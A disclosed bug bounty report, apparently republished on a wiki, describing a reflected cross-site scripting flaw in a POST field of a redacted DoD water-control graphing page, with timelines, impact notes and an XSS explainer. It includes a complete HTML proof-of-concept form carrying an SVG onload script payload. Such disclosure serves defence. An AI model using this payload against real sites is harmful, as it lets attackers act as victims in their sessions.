XSS Reflect to POST █████
A reflected cross-site scripting flaw was found in a POST parameter of a water-control graphing page. An attacker could run script in a victim's browser and act as that user.
- Triaged in 4 days
- Fixed in 32 days
- Disclosed after 45 days
#XSS to POST
URL = █████████
Good morning team DoD.. I located an XSS on the site. I hope to help team DoD more and more. Thank you
<form action=█████████/WaterControl/shefgraph-historic.cfm?sid=BL110 method=POST><input type=hidden name="fld_graphrslow" value="Y"><input type=hidden name="fld_graphrslow" value="N"><input type=hidden name="Submit" value="View Graph"><input type=hidden name="fld_from1" value="01/01/2020"><input type=hidden name="fld_to1" value="12/31/2020"><input type=hidden name="fld_displaytype" value="S"><input type=hidden name="fld_type1" value="Plot"><input type=hidden name="fld_frompor" value="1"<!--><Svg OnLoad=(confirm)(1)<!--"><input type=hidden name="fld_topor" value="1231"><input type=hidden name="fld_year1" value="2020"><input type=hidden name="fld_year2" value="2020"><input type=hidden name="fld_mon1" value="01"><input type=hidden name="fld_day1" value="01"><input type=hidden name="fld_mon2" value="12"><input type=hidden name="fld_day2" value="31"><input type=hidden name="fld_param" value="HG"><input type=submit value=XSS></form>
Impact
If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:
Perform any action within the application that the user can perform.
View any information that the user is able to view.
Modify any information that the user is able to modify.
Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user.
What the attacker needed
Victim submits a crafted form; no login stated
How it was found
- Build an HTML form that posts to the graphing page with a crafted fld_frompor value.
- Include the other expected hidden fields so the request looks normal.
- Get the victim to submit the form, which sends the payload by POST.
- The page reflects the value and the browser runs the script.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Cross-site scripting (XSS) means a website puts text from a user into a page without making it safe, so a browser runs it as code. Here the unsafe text arrives in a form field sent by POST, and the page echoes it back. An attacker who gets a victim to submit that form can run their own script in the victim's session.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.